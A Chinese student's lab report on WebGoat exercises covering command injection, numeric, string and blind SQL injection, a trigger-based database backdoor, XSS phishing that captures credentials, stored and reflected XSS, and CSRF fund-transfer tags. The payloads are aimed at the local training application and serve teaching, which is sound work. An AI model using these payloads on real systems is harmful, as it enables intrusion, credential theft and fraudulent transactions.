Exp9 Web安全基础 Week13 - 20165201
(由于图片比较大,看的时候需要关闭侧边栏~)
目录
学习目标
- 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)
- Webgoat实践下相关实验
实验环境
- macOS Mojave
- Kali
- Windows XP
基础问题回答
(1)SQL注入攻击原理,如何防御
- SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统
- 如何防御
- 检查变量数据类型和格式
- 过滤特殊符号
- 绑定变量,使用预编译语句
(2)XSS攻击的原理,如何防御
- XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨 大的,是web安全的头号大敌
- 攻击的条件
- 需要向web页面注入恶意代码
- 这些恶意代码能够被浏览器成功的执行
- 攻击类型
- XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的
- XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击
- 如何防御
- 在表单提交或者url参数传递前,对需要的参数进行过滤
- 过滤用户输入的 检查用户输入的内容中是否有非法内容。如
< >(尖括号)
、”(引号)
、‘(单引号)
、%(百分比符号)
、;(分号)
、()(括号)
、&(& 符号)
、+(加号)
等等
(3) CSRF攻击原理,如何防御
- (Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用也就是人们所知道的钓鱼网站。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性
- 如何防御
- 验证 HTTP Referer 字段
- 在请求地址中添加 token 并验证
- 在 HTTP 头中自定义属性并验证
预备知识
什么是 WebGoat?
- WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等
实验步骤
WebGoat配置
- 下载
webgoat-container-7.0.1-war-exec.jar
:https://github.com/WebGoat/WebGoat/releases?after=8.0.0 - 在终端中的下载目录输入以下命令,以开启WebGoat:
java -jar webgoat-container-7.0.1-war-exec.jar
- 出现信息:
Starting ProtocolHandler ["http-bio-8080"]
说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端 - 在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面,用户名密码已经有默认的,直接输入就好:
注入缺陷攻击
一、Command Injection:命令注入
- 原理:
在正常的参数提交过程中,添加恶意的代码 - 目标:
能够在目标主机上执行任何系统命令 - 实现:
右键点击复选框,选择inspect Element
审查网页元素对源代码进行修改,在任意一行添加"& netstat -an & ipconfig"
:
点击view
,能看到网络端口使用情况和IP地址,攻击成功!
二、Numeric SQL Injection:数字型 SQL 注入
- 原理:
在station字段中注入特征字符,能组合成新的SQL语句。SELECT * FROM weather_data WHERE station = [station]
- 目标:
下面的表单允许用户查看天气数据。请通过注入SQL字符串的方式查看所有的天气数据。 - 实现:
右键点击复选框,选择inspect Element
审查网页元素对源代码value="101"
进行修改,在城市编号101后面添加or 1=1
:
点击Go!
,攻击成功!下面将显示所有城市的天气情况:
三、Log Spoofing:日志欺骗
- 原理:
这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。 - 目标:
灰色区域代表在Web服务器的日志中的记录的内容。我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”。 - 实现:
本节课程接受用户输入的任何一个用户名,并将其追加到日志文件中。在文本框中输入用户名:LZH Login Succeeded for username admin
,这样用户名后面的信息会在同一行显示,而不是在新的一行:
利用入回车(0D%)
和换行符(%0A)
,在 username 中填入LZH%0d%0aLogin Succeeded for username: admin
- 攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到
- 用户名输入
admin <script>alert(document.cookie)</script>
,管理员可以看到弹窗的cookie信息
四、String SQL Injection:字符串型注入
- 原理:
基于以下查询语句构造自己的SQL注入字符串。SELECT * FROM user_data WHERE last_name = '?'
- 目标:
下面的表格,允许用户查看他们的信用卡号码。尝试通过SQL注入将所有信用卡信息显示出来。尝试的用户名是“Smith”。 - 实现:
正常查询结果应该只有员工Smith的信息:
而我们输入查询的用户名Smith' or 1=1--
,成功!!返回了全体员工的信用卡信息!
五、LAB: SQL Injection:SQL注入小实验
- 原理:
应用程序会将我们我们的输入带入后台的SQL查询语句。
Stage 1: String SQL Injection:字符串型注入
- 目标:
使用SQL注入绕过认证。 - 实现:
首先右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,将password
密码框的最大长度限制改为30
以用户Neville登录,还是以永真式的形式输入密码Smith' or '1' = '1
,攻击成功,得到所有人员列表:
Stage 3: Numeric SQL Injection:数字型 SQL 注入
- 目标:执行 SQL 注入绕过认证; 该课程的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户, 浏览其 BOSS 的账户信息
- 实现:
1、使用用户名Larry
,密码larry
登录,点击ViewProfile
查看用户信息
2、右键点击页面,选择inspect Element
审查网页元素源代码,我们可以看到数据库索引的依据是员工ID(employee_id),推测返回的是每次查询到的第一条数据
3、用社会工程学解释老板应该是工资最高的,所以将员工ID的value
改成101 or 1=1 order by salary desc
,使得老板的信息作为查询到的第一条数据,成功获得老板的详细数据!!!
六、Database Backdoors:数据库后门
- 原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
- 目标:我们的目标是学习如何利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。
- 实现:
1、输入101
,得到该用户的信息
2、我们可以看到,输入的语句没有验证,很容易进行 SQL 注入,输入注入语句101; update employee set salary=10000
执行两个语句,我们可以看到,larry的工资从55000变成了10000哈哈哈哈
3、输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
用来注入一个充当SQL后门的触发器,该触发器的触发频率是针对每一行数据触发一次
七、Blind Numeric SQL Injection:数字型盲注入
- 原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
- 目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
我们的目标是找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过本课程。
我们的Login ID是101 - 实现:
1、本节课程中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;
2、如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。
3、输入查询语句101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效(图中Account number is valid)
4、而当我们输入查询语句101 AND 1=0
,因为第二个条件不成立,所以而页面返回帐号无效(图中Invalid account number.)
5、针对查询语句的后半部分构造语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') < 10000 );
,返回值为真,所以pin字段数值小于10000
6、然后我们继续改变查询的数值范围,直到找出正确的值为2364
八、Blind String SQL Injection:字符串型盲注入
- 目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或 假)测试检查数据库中其它条目信息。
我们的目标是找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本课程 - 实现:
本节课程非常类似与上一节,最大的不同是要查询的字段是一个字符串而不是数值
1、输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'K' );
取得 pin 字段数值的第一个字母,并判断其是否比字 母“K”小,结果为真!
SUBSTRING 语法为SUBSTRING(STRING,START,LENGTH)
2、经过多次测试和页面的返回数据,判断出第一个字符为“J”,同理继续判断剩下的字符
3、最终,判断出pin字段的值为:Jill
跨站脚本攻击
一、Phishing with XSS:使用XSS钓鱼
- 技术概念:在服务端对所有输入进行验证总是不错的做法。当用户输入非法 HTTP 响应时容易造成 XSS。在 XSS 的帮助下,您可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
- 原理:如果有权限操作页面源代码,那么 HTML 文档的内容是可以被篡改的。
- 目标:创建一个 form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
- 实现:利用XSS可以在已存在的页面中进一步添加元素,该解决方案包括两部分,我们需要结合起来使用:
- 受害人填写一个表格
- 以读取脚本的形式,将收集到的信息发送给攻击者
1、编写一个带用户名和密码输入框的表格
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
2、编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
3、现在我们将以上两段代码合并,搜索这一大段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录, WebGoat 会将输入的信息捕获并反馈回来
<script>
function hack()
{
alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
二、Stored XSS Attacks:存储型XSS攻击
- 原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行
- 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
- 实现:在title中任意输入字符(如:hhh),留言板中输入
<script>alert("I am LZH !");</script>
,然后点击下方的hhh,会弹出一个框,显示I am LZH !
三、Reflected XSS Attacks:反射型XSS攻击
- 技术概念:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
- 实现:输入代码
<script>alert("I am LZH !");</script>
,点击Purchase
四、Cross Site Request Forgery (CSRF):跨站请求伪造攻击
- 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com
的me
端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。 - 目标:我们的目标是向新闻组发送电子邮件。该电子邮件包含一个图像,其URL指向一个恶意请求。在本节课中,URL应该指向“攻击”servlet,其中包含本节课的
屏幕
和菜单
参数,以及一个额外的参数transferFunds
,其数值为5000
。您可以通过在右侧插入的参数中找到Screen
和menu
值来构造链接。当时经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。当本课程的攻击成功时,左侧菜单中的课程名称旁边会出现一个绿色的复选标记 - 实现:
1、查看页面右侧Parameters
中的src
和menu
的值,分别为312和900
2、在title中输入任何参数,在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=312&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交
3、在Message List
中生成以Title命名的链接。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的
五、CSRF Prompt By‐Pass:绕过 CSRF 确认
- 原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
- 目标:与CSRF课程类似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数
transferFunds
,其中包含一个数值5000
来启动传输,一个字符串值CONFIRM
来完成传输。您可以从右边的插图中复制课程的参数,创建格式为“attack?Screen=XXX&menu=YYY&transferFunds=ZZZ”
的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单上发现绿色复选框 - 实现:
1、查看页面右侧Parameters
中的src
和menu
值分别为298
和900
2、并在title框中输入LZH
,message框中输入代码,然后点击Submit
:
<iframe src="attack?Screen=298&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=320&menu=900&transferFunds=CONFIRM"> </iframe>
3、在Message List中生成以Title命名的链接,点击进入后,攻击成功
遇到的问题
- 我的登录界面是这样的:
- 左侧边栏中并没有课程选项,后来知道了是jdk的问题,于是下载了jdk的1.8.0版本
- 点击下面的链接选择合适的JDK版本下载:
http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html - 建立目录,将下载的jdk复制过去并解压
sudo mkdir -p /usr/local/java
sudo cp jdk-8u211-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u211-linux-x64.tar.gz
- 配置环境变量
sudo vim /etc/profile
###复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_211
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
- 通知系统java的位置
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_211/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_211/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_211/bin/javaws" 1
- 设置默认JDK
sudo update-alternatives --set java /usr/local/java/jdk1.8.0_211/bin/java
sudo update-alternatives --set javac /usr/local/java/jdk1.8.0_211/bin/javac
sudo update-alternatives --set javaws /usr/local/java/jdk1.8.0_211/bin/javaws
- 重新载入profile
source /etc/profile
- 输入
java -version
查看jdk版本,如下图已经安装成功!
实验体会
这次的实验内容比较多,但是让我更加直观的体验到了web攻击的威力,平时只是听说这些,真正自己做的时候还是很有乐趣的